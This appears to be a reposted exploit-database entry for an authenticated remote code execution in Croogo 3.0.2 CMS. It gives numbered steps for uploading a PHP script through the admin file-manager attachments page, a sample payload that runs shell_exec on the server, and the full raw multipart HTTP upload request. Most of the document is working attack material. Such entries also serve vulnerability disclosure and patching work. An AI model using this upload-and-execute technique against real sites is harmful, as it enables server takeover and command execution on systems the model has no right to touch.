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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Croogo 3.0.2 - Remote Code Execution (Authenticated)
# Date: 05/12/2021
# Exploit Author: Deha Berkin Bir
# Vendor Homepage: https://croogo.org/
# Software Link: https://downloads.croogo.org/v3.0.2.zip
# Version: 3.0.2
# Tested on: Windows 10 Home Single Language 20H2 & WampServer 3.2.3

==> Tutorial <==

1- Login with your privileged account.
2- Go to the 'Attachments' section. Directory is '/admin/file-manager/attachments'.
3- Click the 'New Attachment' button.
4- Choose a malicious php script and upload it.

########### EXAMPLE SOURCE CODE OF MALICIOUS PHP SCRIPT ####################
<?php
$command = shell_exec('netstat -an');
echo "<pre>$command</pre>";
?>
############################################################################

5- Click on the URL of malicious php script you uploaded.
6- The malicious PHP script will be executed.


==> HTTP Request (File Upload) <==

POST /admin/file-manager/attachments/add HTTP/1.1
Host: (HOST)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------7028631106888453201670373694
Content-Length: 976
Origin: http://(HOST)
Connection: close
Referer: http://(HOST)/admin/file-manager/attachments/add
Cookie: csrfToken=bf693e75da3b8cfedb1e097485ecb0fa89d92fcc3d67afd0601bad6c304a2793582ecb; CAKEPHP=do6gfdgwsl424dabvg1mqp9; GeniXCMS-pJSRyfdghoBRVTDlKhjklmkfhtkbup1r; PHPSESSID=gd59dfghhhg2n10amijq89hih
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="_method"

POST
-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="_csrfToken"

bf693ebed78cee03265197aed57e994e70d7qwdfq231341234dsfasdf2397485ecb0fa89d92fcc3d67afd0601bad6c304a2793582ecb
-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/octet-stream

<?php
$command = shell_exec('netstat -an');
echo "<pre>$command</pre>";
?>

-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="_Token[fields]"

16ade00fae1eb7183f11fe75ed658ae4ec2a5921%3A
-----------------------------7028631106888453201670373694
Content-Disposition: form-data; name="_Token[unlocked]"


-----------------------------7028631106888453201670373694--